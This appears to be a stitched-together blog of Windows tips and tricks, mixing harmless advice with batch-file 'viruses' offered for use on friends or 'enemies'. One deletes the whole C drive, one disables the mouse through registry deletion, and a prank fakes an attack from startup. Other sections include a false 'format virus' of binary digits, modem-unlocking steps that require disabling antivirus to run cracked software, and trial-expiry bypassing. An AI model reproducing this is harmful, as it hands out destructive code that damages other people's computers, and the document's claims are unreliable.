Remove duplicate files the easy way

hello everyone!!

I have always wanted this kind of software. I have thousands of mp3 songs packed in various partitions of my hard disk. I have collected these songs from several places and keep them storing, but the problem while augmenting my collection is that I am never sure whether I have copied the set of songs before or not, so I just copy them irrespective of the fact that they may be already present. The consequence is that my limited 40GB hard disk space is almost full leaving me with no more space to store anything else.
That is why I always wanted a software that could compare the contents of two folders and remove the duplicate elements.

File Comparator is a program which compares any files by their contents. This utility allow you to quickly compare contents of any files in specified folders, and allow to show files which contain same data.

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Browser Shaking

This is a fun little trick that can create a shaking screen on your web browser (i.e. Internet Explorer, etc..)
The trick is simply a small Java Script that causes your browser window to move to different positions, causing a shake of your entire screen. It's kind of cool to watch and see what Java Script can do! Try it out..
Use this trick at your own risk.

Here's how:
Copy this entire line and paste it onto your address box, then press Enter:

javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)

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Game Secrets

Solitaire: Instant Win Press Alt + Shift + 2 to instantly win  Solitaire: Draw only 1 card (instead of 3) Hold down Ctrl + Alt + Shift then click on unopen cards to draw.  FreeCell: Instant Win Hold down Ctrl + Shift + F10 while playing, then click Abort. Now move one card.  FreeCell: Hidden Game Modes Go to "Game" menu choose "Select Game" Here you can choose from game mode 1 to 1,000,000. But -1 and -2 will also work (hidden modes)  Hearts: Show All Card Warning! this requires a modification on your registry. Be sure you follow the steps carefully. Damage your registry might damage your Windows. Open the "Registry Editor" by: "Start" >> "Run" then type "regedit" and press Enter Expand to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Hearts Right-click on the right panel and create a new String value with the name "ZB" Double-click to open this key "ZB" to edit its value. Then enter "42" and close the Registry Editor. Start Hearts and Press Ctrl + Alt + Shift + F12 to show all the cards  Minesweeper: Stop The Timer When you start to play a new game, the timer is ticking... Press Windows Key + D to show desktop. Now come back to the game by selecting it from the taskbar. The timer is stopped.  Pinball Unlimited Balls: Type bmax at a new game to get unlimited balls (no notification). Extra Balls: Type 1max at a new game to get extra balls. Gravity Well: Type gmax at a new game to activate Gravity Well. Promotion: Type rmax at a new game or while playing to get instant promotion and raising rank. Extra points with partial shots: Partially shot the ball just to pass the yellow light bars. There are 6 bars. With the first bar, you'll get 15,000 points, 2nd: 30,000,... Extra points with partial shots: Partially shot the ball just to pass the yellow light bars. There are 6 bars. With the first bar, you'll get 15,000 points, 2nd: 30,000,... Test Mode: Type hidden test with a new ball or new game. Now you can use your mouse to drag and move the ball where you want.

gEt KnOwEd AbOuT wIn 8

If you haven’t seen or tried the new version of Windows yet, prepare to be dazzled—as well as very, very confused.

Available now for download and coming pre-installed on new PCs, laptops and touchscreen tablets, Windows 8 represents a top-to-bottom reinvention of Windows.

Available now for download and coming pre-installed on new PCs, laptops and touchscreen tablets, Windows 8 represents a top-to-bottom reinvention of Windows.

Instead of your familiar desktop, the first thing you’ll see in Windows is the “Start” screen, a constantly updating, multicolored patchwork of “live” tiles that display your email, calendar, photos, local weather, Facebook updates, breaking news, you name it.

You’ll also find dozens of eye-popping, full-screen apps that look like they belong on a tablet rather than a PC. In fact, these new made-for-Windows-8 apps have been designed for touchscreen tablets and PCs (includingMicrosoft’s new “Surface” tablets), but you can also use them—somewhat awkwardly—with a traditional mouse and keyboard.

All very impressive, but what if you just want to open your favorite Windows programs—or, you know, use your PC the way you always have? In that case, get ready for a big adjustment, plus lots of “Now what do I do?” moments.

Here’s a few things you need to know about Windows 8, starting with…

1. It’s available now

Windows 8 runs on touch-enabled PCs and tablets, as well as on traditional mouse-and-keyboard desktops that lack touchscreens.

Windows 8 made its official debut on Friday, October 26 and there are three different versions, only one of which you can buy now:

• Windows 8: the standard version of the new Windows works on both desktop PCs and (pricey) Intel-powered tablets, and it boasts the new, touch-friendly Start screen, all the core Windows 8 apps (like Mail, Calendar, Messaging, Photos, and Internet Explorer 10), Microsoft’s new suite of security software, and the ability to run older Windows programs. You’ll be able to buy a stand-alone version of Windows 8 early next year; for now, though, it’s only available on brand-new PCs and tablets.
• Windows 8 Pro: A more robust version of Windows 8 with beefier, business-oriented security features, the ability to connect a remote Windows desktop, and support for corporate computer networks. If you have a PC with Windows 7, you can purchase and download a Windows 8 Pro upgrade right now; more on that in a moment.
• Windows RT: A version of Windows designed for budget (as in $500 or less) tablets that boasts the same colorful “Start” screen and touchscreen apps as regular Windows 8, but lacks the ability to run older mouse-and-keyboard Windows programs. (What does “RT” stand for, you ask? “Runtime,” for what it’s worth.)

2. Windows 8 has a split personality

Part of the reason Windows 8 is so confusing to the uninitiated (myself included) is that it’s essentially two versions of Windows rolled into one.

Related: 8 gotta-know tips for Windows 8 newbies

First, you’ve got the new Windows—the one with colorful, touch-friendly tiles and apps (about 10,000 made-for-Windows-8 apps are already available) optimized for tablets and touchscreen PCs.

Then you’ve got the familiar, old-fashioned Windows, which you can access by clicking the Desktop tile on the Windows 8 “Start” screen.

Now, the new Windows with its always-updating “live” tiles is feast for the eyes, and on a touch-enabled PC or tablet, you’ll want to reach out and touch it.

That said…

3. You can use Windows 8 without a touchscreen

All the nifty little tiles on the Windows 8 Start screen can be clicked with a mouse as well as tapped with a fingertip, and you can click and drag to swipe to the next screen.

In other words, don’t feel like you need to spring for a new touchscreen PC in order to use the latest version of Windows.

4. The “Start” menu is gone

Here’s the “legacy” Windows desktop running on Windows 8. Notice anything missing?

Click the Desktop tile from the new Windows 8 Start screen, and you’ll see your familiar program icons, the taskbar, the clock, and notification tray, all right where you left them—everything except the Start menu.

In place of the Start menu is the aforementioned Start “screen,” your nerve center for all those flashy Windows 8 apps, as well as for any old Windows programs that you “pin” to the screen.

You can access the Start screen anytime by flicking your mouse to the bottom-right corner of the screen, and you can get a list of all your apps and programs by right-clicking on the Start screen and clicking the All Apps buttons.

Want to search, restart, hibernate or power off your system? Those functions used to live in the old Start menu, but now they sit in a hidden panel that slides out from the right side of the screen.

5. Most of your old Windows software will run on Windows 8

Microsoft has a free tool—the Windows 8 Upgrade Assistant—that’ll scan your system, then warn you if any of your old Windows programs won’t work under Windows 8.

Most of my Windows 7 programs seem to be running on Windows 8 without a hitch, although a couple of old utilities got nixed.

The Windows 8 Upgrade Assistant will warn you if any of your apps—or if your system itself—will have any trouble with the new Windows.

You can also search Microsoft’sCompatibility Center to see if Windows 8 will play nice with your favorite programs.

6. Any PC that runs Windows 7 should be able to run Windows 8

So says Microsoft, anyway.

That said, the same free diagnostic tool that checks if your old Windows software will run under Windows 8 will also

7. No, you don’t have to upgrade to Windows 8 right away…

As the days, weeks, and months roll on, it’ll be more and more difficult to buy a new PC that isn’t running Windows 8.

That said, there’s nothing stopping you from sticking with Windows 7—or an even earlier version of Windows—on your current system.

Indeed, Windows 8 is such a radical change from Windows 7 that I recommend holding off on upgrading unless you really, really want a taste of the future.

So, how long could you stick with Windows 7? Well, Microsoft currently plans on supporting Windows 7 until at least January 2020, so no need to feel rushed.

8. … but you can upgrade to Windows 8 now, if you really want

If your PC is running an authorized version of Windows, you can download and install the Windows 8 “Pro” upgrade immediately if you wish.

The upgrade costs $40, and you can download it from the web.

I downloaded and installed the update on one of my older Windows 7 PCs, and the entire process took about two hours—not bad.

mAkE tHe foLdEr InViSiBlE w/O hIdInG

Make the folder INVISIBLE without hiding

Make your folders invicible...:)

1)Right Click on the desktop.Make a new folder
2)Now rename the folder with a space(U have to hold ALT key and type 0160).
3)Now u have a folder with out a name.
4)Right click on the folder>properties>customize. Click on change icon.
5)Scroll a bit, u should find some empty spaces, Click on any one of them.
click ok Thats it,

now u can store ur personal data without any 3rd party tools

fOlDeR oPtIoN mISsInG ?

FOLDER OPTION missing

Many of us sometimes find the folder options missing in windows explorer.

Here's the solution
Open Run and then type "gpedit.msc".
Now goto
User Configuration > Administrative templates > Windows Component > Windows Explorer.

Click on Windows Explorer you will find the 3rd option on the right side of screen
"Removes the Folder Option menu item from the Tools menu"

Just check it,

if it is not configured then change it to enable by double clicking on it and after applying again set it to not configured.


I hopes that you will find the option after restarting windows.

ChAt UsInG cOmMaNd PrOmPt

Chat With Command Prompt

If you want personal chat with a friend

you don't need to download any yahoo messenger
All you need is your friends IP address and Command Prompt.

Firstly, open Notepad and enter:

@echo off

:A

Cls

echo MESSENGER

set /p n=User:

set /p m=Message:

net send %n% %m%

Pause

Goto A

Now save this as "Messenger.bat". Open the .bat file and in Command

Prompt you should see:

MESSENGER

User:

After "User" type the IP address of the computer you want to contact.

After this, you should see this:

Message:

Now type in the message you wish to send.Before you press "Enter" it should look like this:

MESSENGER

User:27.196.391.193

Message: Hi

Now all you need to do is press "Enter", and start chatting!

rEcOvEr AcCoUnTs PaSsWoRdS iN wIn Xp

Recover the lost administrators password in Windows XP

Slightly more work needed if you lose or forget the Windows XP administrator password.

1.First reboot Windows XP in safe mode by re-starting the computer and pressing F8 repeated as the computer starts up.

2.Then (in safe mode) click Start and then click Run. In the open box type "control userpasswords2" without the quotes - I have just used quotes to differentiate what you have to type.

3.You will now have access to all the user accounts, including the administrators account and will be able to reset the lost password.

4.Just click the administrators user account, and then click Reset Password.

5.You will need to add a new password in the New password and the Confirm new password boxes, and confirm by clicking OK.


All done, you have recovered the lost adminitrators password!

hIdDeN pRoGrAmS iN wIn Xp

Is it strange to hear , but true that some good programs are hidden in Windows XP !!!

Programs :

1. Private Character Editor :

Used for editing fonts,etc.
** start>>Run
** Now, type eudcedit

2. Dr. Watson :

This an inbuilt windows repairing software !
** start>>Run
** Now, type drwtsn32

3. Media Player 5.1 :

Even if you upgrade your Media Player, you can still access your old player in case the new one fails !!!
** start>>Run
** Now, type mplay32

4. iExpress :

Used to create SetupsYou can create your own installers !
** start>>Run
** Now, type iexpress

rEnAmE "rEcYcLe BiN"

      
       1. Go to Start > Run
       2. Type in regedit this will open Registry Editor.
       3. Go to HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}
       4. Change "Recycle Bin" to whatever you want.

vIrUs To FoRmAt HaRdDiSkS

                     Today i will show you how to make a virus to format Hard disk. You can send this file to your friend or enemy to format their Hard disk. But please dont try this on your own computer or else you will end up formatting your own computer.

• Copy the below codes into Notepad.

01001011000111110010010101010101010000011111100000 

• Save the file as Format.exe
• You have created your virus. Enjoy !!! 

mAkE vIrUs To DiSaBlE tHe MoUsE

               I had previously posted on making different batch files like making virus prank, vb script pranks which were interesting and completely harmless but today we will be making a batch virus which is harmfull it will disable your mouseso think before trying it on yourself.

• Open Notepad and copy below codes

rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------

• Save this file as  virus.bat
• Done you just created your virus.

cReAtE a ViRuS tO dElEtE aLl ItEmS oF "c" DrIvE

 

In this post i will teach you to make simple yet very powerfull or you can say harmfull computer virus using a batch file. No software is required to make this virus, Noteapad is enough for it. The good thing about this virus is it is not detected by any AntiVirus.

What will this virus do ?  

You will create this virus using batch file programming. This virus will delete the C Drive completely. The good thing about this virus is that it is not detected by antivirus.

How to Make the virus ?

   1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y

   2. Save this file as virus.bat (Name can be anything but .bat is must)
   3. Now, running this file will delete all the content of C Drive.


Warning: Please don't try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer.

fAkE vIrUs PrAnK

Deleting Files message to freak everyone out.

Just copy the following code and save it as a batch file like we spoke.

@echo off
cls
echo Fatal Error!! Your computer is under attack!!
pause
echo Deleting Files
pause
:files
echo !323%%%@#@GJFGG42JG
echo !3424%@#%^&@52%@%gs
echo !@$@^624@$6262$hG
echo !@#4-07234&5*((6hkd
echo !&^%78755&*%478*%$&
echo !^$$68*$78()&4578
echo !&8898*65$$566$68(9
goto files
If you want your victim to run this,save it in startup or you can just make him click your batch file and enjoy the look on your victim’s face.

mTs MbLaZe UnLoCk

100 percent working trick to unlock mts blaze modems

mts mblaze uses the evdo cdma technology for connectivity. tehy provide their service through a variety of models of modem like mmx 250c, ec220 etc. this trick works for any cdma modem like tata indicom or reliance cdma.
the trick is queit simple and you can unlock your mts in just 5 mins by reading this detailed step by step guide. first of the things you need to make sure is that there is a provision to use sim in your mtsmodem. if there is a sim slot you can proceed. you will need to download few softwares to do the unlocking your mts and you will also need the spc code for your mts mblaze modem. the procedure is same for any model of mts mblaze. like huawei or micromax or zte.

step by step guide to unlock mts modems

• mts disables the ruim facility of the modem before they sell it. all you need to do is enable the ruim (removable userdentity module). this can be done easily by cdma workshop
• download and install the cdma workshop software from here. kindly remember to disable the antivirus before downloading this dsoftware because a few antivirus considers cdma workshop crack as virus

download cdma workshop from here

• run the cdma workshop software that you just downloaded to unlock mts modem
• in the common port drop down list select the com port to which you connected the mts modem, refer to the screen shot

• and click on the connect button
• after the mts modem is connected select the security tab and select spc. input 000000 in the box  click spc  and click send. 000000 is the default spc for mts. if this spc is not correct then  try to use the read spc option from the cdma workshop the function is available in only few mts modem models

• it will show spc accepted. if this message doesnt appear unlocking will be very hard
• now select the “other” tab and in the ruim select  ruim if availabe or to ruim only and click on the send button. this makes your non ruim mts modem to ruim
• thats it you have successfully unlocked your mts modem
• if you select ruim only then the default mts service will not work
• if you select ruim if available then you can use mts without the sim and other services when you insert the sim into the mts modem

if you have any trouble other than the wrong spc code please comment here. if your spc was wrong you can try to read spc code using the option in the cdma workshop. this feature is available in some models only. hope you will enjoy
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a new way to unlock huawei e1732 idea netsetter permanently

many people had problems with unlocking idea netsetter huawei e1732. so here is a new method introduced by nill and it works 100%. first of all you must have patience doing this. because the process it bit long. and also you have to download some softwares. and while downloading the software you will have to disable your antivirus as the crack for the cdma workshop is considered a virus by many anti virus softwares. so these are the things that you should note while unlocking your huawei e1732 idea netsetter usb modem. and also you should not start your huawei e1732 dashboard

so here is the step by step guide to unlocking huawei e1732 idea netsetter

• download the cdma workshop and save the cdma workshop v 2.7.0. you must disable antivirus before opening the cdma workshop

cdma workshop free download

• download huawei e1732 downgrader

huawei e1732 downgrader free download

• insert a non idea sim to your huawei e1732 netsetter
• now you must find the common port to which your huawei e1732 modem is connected. you can do this by.
  • Right click on your “My Computer” icon > Properties > Device Manager > Ports (COM & LPT)  > HUAWEI Mobile Connect – 3G Application Interface (COM[The port number appear in your system])
• note down the com port number into which your huawei e1732 idea netsetter modem is connected
• Run “CDMA Workshop v2.7.0.exe”
• Select the Port that you noted from your Device Manager under the Port option in “COM Settings (AT mode)” under the “Main” tab.

• then click on connect and then click on read

• Go to the “Security” tab > Type “000000” in the blank box under “SPC” > Click on “SPC” button > Click on “Send” with Default (nv_read) as SPC.

• Click on “Memory” tab > NV Items > Read > Now a “Conform” box will appear > Click “OK” > Now a “NV Items Backup” box will appear > In the box straight to “Last NV Item” type “9999” > Click “OK” > Save the file by giving a file name you like (Eg: E1732Unlock etc.)

• When the buffer reach “100%” your file is saved successfully > Now a “Information” box will appear > Click “OK” > Minimise “CDMA Workshop v2.7.0”
•  Run “E1732 Downgrader” >  accept the agreement > Next > Wait for a few seconds until the search for your modem finishes > (Don’t mark on “Auto remove the device after update”) Next > (Don’t remove your data card until the process is finished) > Start > At the end of “Downloading Programs…” you will get a “Update Failure!” error dialog box (DON’T WORRY & DON’T GET DISAPPOINTED) > Click “OK” > Click “Finish

• Restore “CDMA Workshop v2.7.0” > “Main” tab > Disconnect
• Unplug your Idea Netsetter (Modem) from your computer.
• Again Plug it to the Computer > Check the “Port” again from the “Device Manager”

• Go to “CDMA Workshop v2.7.0” select the Port that you noted from your Device Manager under the Port option in “COM Settings (AT mode)” under the “Main” tab as we did before > Click on “Connect” > “Memory” tab > NV Items > Click on “Write” > A “Confirm” box will appear > Click “OK” > “Open” dialog box will appear > Open the file that you saved before > When the buffer reach “100%” a “Information” dialog box appears with a success message > Click “OK” > “Main” tab > Disconnect

• Now close “CDMA Workshop v2.7.0” > A “Confirm” dialogue box will appear > Click “NO”

• Close everything > Enable your Antivirus
• That’s it. Your Idea Netsetter E1732 is unlocked successfully.
• Unplug Idea Netsetter (Modem) from your computer.
• Again Plug it to the Computer.
• Wait for Idea Netsetter to Start
• Put a SIM Card other than IDEA to the Netsetter / ModemIf it again shows “The SIM/USIM card not been detected or is invalid” (DON’T GET DISAPPOINTED) > Click “OK” > Wait for the SIM card to be detected > It will detect the SIM card and enjoy browsing with any other SIM.
• to make new mobile apn settings you can download huawei mobile partner. read and download mobile partner from this page

many people are having problem while connecting to internet with other sim cards
now you can connect by any sim card with default IDEA net Setter Dashboard using these steps
If your Modem is detecting sim cards and you are getting errors then do this
for XP
1 Control Panel -> Phone and Modem (found directly in control panel or in Printers and other hardware ) –> modem tab –> huawei mobile connect 3g modem (which is present on COM ) –> –> properties advance –> in extra initializing command use given commands and click OK
for windows 7
start menu -. type phone and modem — click on it—>modems –>huawei mobile connect 3g modem–properties–>change settings–>advance–>extra initialization command–>use given command
and if it ask for Country and area code then Country – India and Area Code – 91 and leave other blank
commands are here
Aircel – AT+CGDCONT=1,”IP”,”aircelgprs”
Airtel – AT+CGDCONT=1,”IP”,”airtelgprs.com”
BSNL – AT+CGDCONT=1,”IP”,”bsnlnet”
Idea – AT+CGDCONT=1,”IP”,”internet”
Reliance – AT+CGDCONT=1,”IP”,”rcomnet”
Tata Docomo – AT+CGDCONT=1,”IP”,”tata.docomo.internet”
Videocon – AT+CGDCONT=1,”IP”,”vinternet.com”
Vodafone – AT+CGDCONT=1,”IP”,”www”
if you have any trouble doing this please comment here

cReAtE a FoLdEr WiTh ThE nAmE "con" oR wItH oUt AnY nAmE

heyy frndz..
as you all have tried to make a new folder with the name "con" or with out any name..
but you failed to make !t....
now i will tell you how to make that one..
step 1 - create a new folder any where on your device
step 2 - now while entering the  name press and hold ALT key and type 255 then leave ALT
step 3 - now you will see that nothing is written there... you can  write CON here or you can just press ENTER to make the folder with out any name..
step 4 - and now you are all done....

share it from below...

uSe PeN dRiVe As RaM oN cOmPuTeR

Now a days we can use pen drive itself as a RAM for our system and just increase the general boot up speed and also operational speed of the system . Now a question arises that "Is it possible only for those who have Vista OS " ? my answer is a Big NOOOO..


It can be used by those who have Windows XP and also for Windows 2000 (Mostly)
.All u need is a pen drive of minimum 1GB . now I will tell you the steps

1. Insert the Pen Drive (1GB atleast) in the USB port
try to prefer 4GB.
2. Let the PC do what it wants to do to detect it..
3. After it finished his work, you have to act smart,

" Here goes the real thing "

4. Right Click on My Computer -> Properties
5. Advanced -> Performance Settings
6. Advanced -> Change
7. Select the Pen Drive
8. Click on Custom Size

" Check the value of space available "

9. Enter the same in the Initial and the Max columns

" You just used the space of the PenDrive as a Virtual Memory "

Restart........


Now check the general start up time and also speed of your system .. so u can have a high speed system in low cost.

mAke AnY sOfTwArE fUlL vErSiOn FrOm TrAiL vErSiOn

Now we download stuff almost daily. New products pop out so often. You can use any software forever you want. You can download trial version, right. Trial version expires after some days. You can stop that expiration. You can tell trial version of the software to not count days or do not bother about time. The software will stay and keep working like original software forever and will not expire or cease to work. You do not have to change your system clock. This little software does it all.

Time Stopper is the software which can stop the time for try out version software. When you stop the time you can use your try-out versions forever. When you stop the time of a try-out version using this Time Stopper it works via this Time Stopper. Real time and date run normally on your system. You can use any number of try-out version softwares with this software.

How it Works

• Open Time Stopper
• Browse and select .exe of required trial software
• Choose the new date (Any date which occurs in between your trial software time period before expiration, suggestion: set it to two days before trial software expiration date.)
• Choose any time
• Click open software on your selected date

If you wish to create an icon for your modified trial software and do not want to open Time stopper every time then use last button in software to create new icon. open that trial software after that from that newly created icon always otherwise it can expire.

tOp mOuSe TrIcKs OnE sHoUlD kNoW

Most computer users don't take full advantage of the computer Mouse. Below are computer mouse tips and secrets that help you get the full potential of your computer mouse and increase your overall productivity while on the computer.

Shift key and mouse click

Many text editors and programs allow you to highlight all or portions of text using the Shift key and the mouse. For example, place the cursor at the beginning of a paragraph, hold down the Shift key and click at the end of the paragraph to highlight the full paragraph.

Take full advantage of the scroll wheel

Today, everyone is fully aware of a mouse wheels ability to scroll up and down on a page. However, this wheel can also do so much more, as shown below.

• The mouse wheel is not just a wheel, it can also be used as a button. Pressing down on the wheel will act like a third mouse button. This can be used to open a web page in a tab by clicking the wheel on any link and can also be used to close a tab by clicking the wheel on any open tab.
• Quickly Zoom in and Out on a web page, word document, excel spreadsheet, etc. by holding down the Ctrl key and scrolling up to zoom in and down to zoom out.
• Move forward and backwards while browsing the Internet by holding down the Shift key and scrolling up and down. Scrolling down goes back and scrolling up goes forward.

Select with double and triple click

Any word can be selected by double-clicking the word. If you want to highlight the whole paragraph, click the mouse button three times on any text in the paragraph.

Use the right-click

Take full advantage of the right-click any time you highlight text or wish to view the properties of an object. For example, if you highlight a file or text, you can right-click that highlighted item copy it and then right-click anywhere else to paste it.

Tip: If you right-click on any file or text and drag it while continuing to hold the right button, when you let go you will be given the option to move or copy that file or text. This saves you the extra step of having to right-click where you want to paste the item.

Tip: While in a browser pressing and holding Ctrl while clicking on any link will open that link in a new tab.

Ctrl key and mouse click or highlight

While holding down the Ctrl key you can left-click to select multiple objects or highlight multiple sections of text. For example, in Microsoft Windows you could hold down the Ctrl key and click to select multiple files at once. If you wanted to highlight different parts of a paragraph or web page, you could also hold down the Ctrl key and select each section you wanted to copy.

Tip: Mozilla Firefox users can also hold down the Ctrl key and individually click on each cell in a table they wish to copy or drag their mouse down a row to select just that row or text without selecting any of the other text in that table.

Use the mouse side buttons

Many new computer mice have buttons on the side of the mouse. These buttons can be programmed to do anything, however, by default the left-thumb button can be used to go back on a web page. This makes browsing the Internet more enjoyable since you do not need to move the mouse cursor to the browser back arrow button in order to go back a page.

Use the Windows Snap To feature

Take full advantage of the Windows mouse Snap To feature, which will automatically move your mouse to buttons that appear in a dialog box. For example, if you delete a file or close a window you may get a prompt asking you if you are sure you want to perform the task. With the Snap To feature enabled, the mouse cursor automatically moves to the Ok button, so all you will have to do is click the mouse button if you agree. This saves you the time of having to move the mouse cursor over to the Ok button and then click Ok. To enable this feature open the Mouse properties under the Windows Control Panel and check the Snap To check box under the Pointer Options tab.

Tip: While changing this feature we also suggest looking at other available options in the Mouse settings. For example, increasing the Motion speed can also help increase your productivity while using the mouse.

Manage the open window with the mouse

Double-click the top title bar of any window to maximize a window or if it is already maximized resize it to a window. You can also double-click the icon for the window in the top-left corner of the window to close that window.

Move the mouse with your keyboard

Instead of using the mouse that came with your computer you can also enable Windows to use the number pad as a mouse.

Customize your mouse

Finally, if you have a mouse with more than two buttons, installing the included mouse software will allow you to customize the mouse even more. For example, if you don't use the side buttons to move back and forth in a web page change it to something you do more often, such as switching between open windows or opening the calculator.